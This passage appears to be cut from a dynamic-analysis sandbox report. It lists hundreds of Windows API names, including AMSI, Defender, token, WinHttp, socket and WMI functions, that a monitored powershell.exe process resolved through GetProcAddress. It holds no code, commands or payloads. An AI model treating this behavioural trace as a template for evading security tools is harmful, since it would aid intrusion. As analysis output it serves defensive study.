00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleWindow (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter ShowWindow (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttribute (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttributeW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WriteConsole (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter QueryUnbiasedInterruptTime (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCP (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCPW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter TranslateCharsetInfo (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter TranslateCharsetInfoW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileName (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter RasEnumConnections (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter RasEnumConnectionsW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WSAStartup (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WSASocket (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WSASocketW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter setsockopt (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WSAEventSelect (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter ioctlsocket (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter closesocket (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter FormatMessage (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter FormatMessageW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter RasConnectionNotification (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter RasConnectionNotificationW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter RegOpenCurrentUser (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter RegNotifyChangeKeyValue (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WinHttpOpen (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WinHttpOpenW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WinHttpCloseHandle (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WinHttpCloseHandleW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WinHttpSetTimeouts (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WinHttpSetTimeoutsW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetIEProxyConfigForCurrentUser (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter ResetEvent (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrl (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrlW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetNetworkParams (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WSAConnect (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter EnumerateSecurityPackagesW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter FreeContextBuffer (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter FreeCredentialsHandle (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter AcquireCredentialsHandleW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter DeleteSecurityContext (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter InitializeSecurityContextW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter send (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter recv (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter QueryContextAttributesW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CertCloseStore (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateStore (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateStoreW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStore (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStoreW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateChain (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CertOpenStore (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CertOpenStoreW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CertAddCertificateLinkToStore (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CertAddCertificateLinkToStoreW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateChain (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateChainW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChain (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChainW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicy (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicyW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SetLastError (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter EncryptMessage (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter DecryptMessage (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetOEMCP (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetOEMCPW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter IIDFromString (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CoGetObjectContext (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter LoadLibrary (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter ResetSecurity (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SetSecurity (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter BlessIWbemServices (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter BlessIWbemServicesObject (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetPropertyHandle (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WritePropertyValue (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter Clone (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter VerifyClientKey (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetQualifierSet (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter Get (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter Put (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter Delete (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetNames (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter BeginEnumeration (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter Next (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter EndEnumeration (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetPropertyQualifierSet (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetObjectText (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SpawnDerivedClass (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SpawnInstance (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CompareTo (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetPropertyOrigin (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter InheritsFrom (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetMethod (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter PutMethod (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter DeleteMethod (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter BeginMethodEnumeration (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter NextMethod (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter EndMethodEnumeration (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetMethodQualifierSet (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetMethodOrigin (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_Get (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_Put (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_Delete (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_GetNames (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_BeginEnumeration (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_Next (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter QualifierSet_EndEnumeration (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentApartmentType (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetDemultiplexedStub (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CreateInstanceEnumWmi (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CreateClassEnumWmi (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter ExecQueryWmi (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter ExecNotificationQueryWmi (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter PutInstanceWmi (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter PutClassWmi (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CloneEnumWbemClassObject (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter ConnectServerWmi (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetErrorInfo (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter Initialize (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SysStringLen (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter RtlZeroMemory (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CoGetMarshalSizeMax (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CoMarshalInterface (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CoUnmarshalInterface (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SxsLookupClrGuid (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SysFreeString (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter VariantClear (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess_RetAddr (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter 